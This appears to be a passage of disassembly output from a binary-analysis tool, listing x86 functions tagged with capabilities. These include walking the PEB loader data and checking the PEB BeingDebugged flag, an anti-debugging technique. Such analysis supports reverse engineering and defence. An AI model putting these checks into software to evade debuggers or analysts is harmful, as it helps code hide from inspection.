call fcn.0048e377
add esp, 4
mov eax, dword [ebp - 0xc]
jmp 0x444f14
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x444f25
push ebx
call fcn.0048e377
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x447f1a
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
leave
ret

Function at 0x4489e5
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
leave
ret